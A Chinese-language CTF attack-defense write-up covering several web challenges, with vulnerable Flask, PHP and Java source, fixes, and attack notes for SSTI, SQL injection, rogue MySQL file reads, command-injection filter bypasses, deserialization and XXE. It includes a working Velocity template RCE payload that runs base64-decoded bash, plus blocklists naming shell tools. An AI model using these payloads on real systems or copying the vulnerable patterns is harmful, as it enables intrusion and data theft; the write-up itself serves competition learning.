D1no Writeup

赛题源码下载: https://kengwang.lanzouo.com/izQq722236de

flaskweb

image-20240616141707987

下面send能给出让我们看 404

def decrypt(text):
    """
    # 此函数将在如下代码执行时进行调用
    path = request.path.strip('/')
    解密路径
    decrypted_path = decrypt(path.encode())
    """
    cipher = AES.new(key, AES.MODE_ECB)
    try:
        decrypted_text = cipher.decrypt(binascii.unhexlify(text))
        return decrypted_text.rstrip(b' ').decode()
    except Exception as e:
        source_code = inspect.getsource(decrypt)
        # return render_template_string(f"Error: {str(e)}Decrypt function source code:%s " %  source_code)
        error_message = f"Error: {str(e)}<br><br>Decrypt function source code:<br><pre>{source_code}</pre>"
        return error_message

key 的话在首页的 Header 里面

image-20240616141521855

下面是示例 payload

http://10.1.0.122:81/6b8ddbcc15697c263420863d73fdcf2701dea6ad7b20a4b14589773c8f93b2bbc54c49a33db493b4c0773789ce5bdbc3dbd73f42700fb6475881ec8e087fca12c5c730f2b13ea07c6670fe634f820ea067a4e623a678d4d3b4b1469616aaf688

fix 环节

from flask import Flask, render_template, request, render_template_string, abort
import base64
from Crypto.Cipher import AES
import binascii
import inspect

app = Flask(__name__, template_folder='./templates')
key = b'0123456789abcdef'


# 解密函数
def decrypt(text):
    """
    # 此函数将在如下代码执行时进行调用
    path = request.path.strip('/')
    解密路径
    decrypted_path = decrypt(path.encode())
    """
    cipher = AES.new(key, AES.MODE_ECB)
    try:
        decrypted_text = cipher.decrypt(binascii.unhexlify(text))
        return decrypted_text.rstrip(b' ').decode()
    except Exception as e:
        source_code = inspect.getsource(decrypt)
        # return render_template_string(f"Error: {str(e)}Decrypt function source code:%s " %  source_code)
        error_message = f"Error: {str(e)}<br><br>Decrypt function source code:<br><pre>{source_code}</pre>"
        return error_message


# 模拟根目录下的 flag 文件内容
flag_content = "This is the flag content!"


# 路由处理函数
@app.route('/')
def index():
    # 加载欢迎页面
    # return render_template("html/index.html")
    # return render_template("index.html")
    response = app.make_response(render_template("index.html"))
    response.headers['X-AES-Key-Base64'] = base64.b64encode(key).decode()
    response.headers['X-AES-Key-bit'] = 128
    return response


# 错误处理页面
@app.errorhandler(404)
def page_not_found(e):
    # 获取请求的 URL 路径
    path = request.path.strip('/')
    # 解密路径
    decrypted_path = decrypt(path.encode())
    template = '''
            <div class="center-content error">
                <p> 404 Page </>
                <p>URL Path  {{decrypted_path}}  is Not Found</p>
            </div>
        '''
    return render_template_string(template,decrypted_path=decrypted_path), 404


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=9000, debug=True)

本来 page_not_found 中的逻辑是直接替换, 导致 SSTI

template = '''
            <div class="center-content error">
                <p> 404 Page </>
                <p>URL Path  %s  is Not Found</p>
            </div>
        '''
    return render_template_string(template % decrypted_path), 404

本来是 59 行替换导致 SSTI, 我们这样修

weblog

break 失败, 下面简述方法:

dirb 可以扫到 hide 目录, 找到 hide/connect_fun_dbs_test_hides.php 其中写着 jsonData 的传参格式

同时在 article 的 id 存在任意 SQL 注入

得到传参格式和后门地址, 我们可以利用 Rouge MySQL Server 来进行任意文件读

甚至服务器上起着了一个恶意的 MySQL 服务 3307

我们赛后看看源码

database.php

<?php
    error_reporting(0);
    define('MYSQL_SERVER', 'localhost') ;
    define('MYSQL_USER', 'ctf') ;
    define('MYSQL_PASSWORD', 'ctf') ;
    define('MYSQL_DB', 'blog') ;

    //connect to mysql
    function db_connect(){
        $link = mysqli_connect(MYSQL_SERVER, MYSQL_USER, MYSQL_PASSWORD, MYSQL_DB) or die ("Error: ".mysqli_error($link));
        if(!mysqli_set_charset($link, "utf8")) {
            printf("Error: ".mysqli_error($link));
        }

        return $link;
    }

    // test to connect
    if($_SERVER["REQUEST_METHOD"] == "POST"){
        if(isset($_POST['jsonData'])){
            $postData = json_decode($_POST['jsonData'], true);

            if($postData !== null){
                $link = mysqli_query(mysqli_connect($postData['host'],$postData['username'],$postData['password'],$postData['database'],$postData['port']), "set names utf8");
                        if ($link){
                            echo "<script>alert('success')</script>";
                        }else{
                            echo "<script>alert('failed')</script>";
                        }
            } else {
                echo "Failed to decode JSON data";
            }
        } else {
            echo "No jsonData parameter received";
        }
    } else {
        echo "No POST request received";
    }
?>

fix

models/articles.php 中存在 SQL 注入, 我们通过预编译修复起来, 下面是一个示例

function articles_get ($link, $id_article) {
    //The query
    $query = mysqli_prepare($link,"SELECT * FROM articles WHERE id=?");
    $query->bind_param('s',$id_article);
    $query->execute();
    $result = $query->get_result();

    if (!$result)
        die(mysqli_error($link));

    $article = mysqli_fetch_assoc($result);

    return $article;
}

服务器上面起了一个 RougeMySQL 来远程读文件, 我们把 database.php 修掉

if(strpos($postData['username'],"flag") != 0)
                die("nonono");
            if(strpos($postData['username'],"etc") != 0)
                die("nonono");
            if($postData['port']!="3306"){
                die("nonono");
            }

mynote

break 失败

需要到 admin 用户, 如果有师傅知道这一步如何完成的欢迎交流

拿到了一个命令执行的路径之后即可 RCE

fix

app.py 中存在命令执行以及双写绕过

filtered_commands = ['base64', 'sh', 'nl', 'ruby', 'perl', 'python', 'php', 'vim', 'vi', 'cut', 'xxd', 'hexdump', 'grep', 'iconv', 'comm', 'shuf', 'tac', 'strings', 'cat', 'head', 'tail', 'more', 'less', 'grep', 'awk', 'sed']
 for cmd in filtered_commands:
        ip_address = ip_address.replace(cmd, '')

我们把他存在的 filter 给加强一下

    filtered_commands = ['flag', 'base64', 'sh', 'nl', 'ruby', 'perl', 'python', 'php', 'vim', 'vi', 'cut', 'xxd', 'hexdump',
                         'grep', 'iconv', 'comm', 'shuf', 'tac', 'strings', 'cat', 'head', 'tail', 'more', 'less',
                         'grep', 'awk', 'sed', 'IFS', '<', '>', '{', '}', '$', '>', '<', '|', '/', '&', '*', '?',';','`','(',')']
    for cmd in filtered_commands:
        if cmd in ip_address:
            return "127.0.0.1"

ezssti

break

dirsearch 搜到源码进行审计, Java 的 Velocity 模板渲染, 我们使用 tplmap 攻击

下面是一个示例

#set($engine="")
#set($run=$engine.getClass().forName("java.lang.Runtime"))
#set($runtime=$run.getRuntime())
#set($proc=$runtime.exec("bash -c {eval,$({tr,/+,_-}<<<%(code_b64)s|{base64,--decode})}"))
#set($null=$proc.waitFor())
#set($istr=$proc.getInputStream())
#set($chr=$engine.getClass().forName("java.lang.Character"))
#set($output="")
#set($string=$engine.getClass().forName("java.lang.String"))
#foreach($i in [1..$istr.available()])
#set($output=$output.concat($string.valueOf($chr.toChars($istr.read()))))
#end
${output}

即可显示

zwxajavaf

break

dirsearch 搜到源码进行审计, 发现 MyCustomObject 存在反序列化

String path = "/usr/local/tomcat/webapps/admin_info.txt";
MyCustomObject myCustomObject = new MyCustomObject(path);
ObjectOutputStream ois = new ObjectOutputStream(new FileOutputStream("./bin"));
ois.writeObject(myCustomObject);

然后上传配置文件后处理, 读取到 admin 的账号密码

image-20240616164440986

登录之后我们就可以登录上去, 然后通过 http://10.1.0.122:8080/zwxa-java-f1/admin/executeCommand 进行 RCE

ssrf2rce

<?php
function fetchUrl($url) {
    if (!preg_match('/^http:\/\/ciscn\..*?@127\.0\.0\.1\/flag\.php\?look$/i', $url)) {
        return "Almost Done~";
    }

    if (strpos($url, 'file://') !== false) {
        return "Accessing files via file protocol is not allowed";
    }

    
    $flagContent = @file_get_contents('/var/www/guess/fllllllaaaaaaag.php');

    if ($flagContent === false) {
        return "Error accessing flag file";
    }

    return $flagContent;
}

$userInput = isset($_GET['url']) ? $_GET['url'] : '';

if (empty($userInput)) {
    echo highlight_file(__FILE__, true);
} else {
    $result = fetchUrl($userInput);
    echo $result;
}
?>

源码审计

传入过掉第一个正则之后

image-20240616164645899

<?php
function executeCommand($command) {
    if (preg_match('/cat| |\\\\|\${IFS}|%09|\$[*@x]|tac|iconv|shuf|comm|bat|more|less|nl|od|sed|awk|perl|python|ruby|xxd|hexdump|string/', $command)) {
        return "Hacker!!!";
    }

    $output = shell_exec($command);
    if ($output === null) {
        return "uhhhh";
    }

    return $output;
}

$command = isset($_GET['command']) ? $_GET['command'] : '';

if (!empty($command)) {
    $result = executeCommand($command);
    echo nl2br(htmlspecialchars($result, ENT_QUOTES, 'UTF-8'));
} else {
    echo highlight_file(__FILE__, true);
}
?>

审计发现没有过滤 base64 bash

直接通过 $IFS$1 来当成空格用

fix

加强黑名单!

if (preg_match('/cat| |\\\\|IFS|%09|\$[*@x]|tac|php|grep|iconv|shuf|comm|bat|more|less|nl|od|sed|awk|perl|python|ruby|xxd|hexdump|string|sh|flag|\/|\$|\||>|<|\-|\;|\&|\`|head|\?|\*|\{|\}/', $command)) {
        return "Hacker!!!";
    }

zwphpc

break

break 失败, 赛后聊聊

这个题抽象出题人给压缩包加了密码, 没有任何提示想让人爆破半小时

record.php 存在

 extract($_REQUEST);
 ${'xml_format'} = $xml_format;
 file_put_contents($xml_file, $xml_format);

会允许用户覆盖 xml_format 来导致到 XXE

当然你也可以覆盖掉 $xml_file 来写马

fix

有个 XXE, 我们将其过滤, 把 explode 给删掉以绝后患, 可以把最终要写入的内容给过滤一下

没 Check 过, 赛后复盘发现 waf 没写好, 在这里就不贴出来了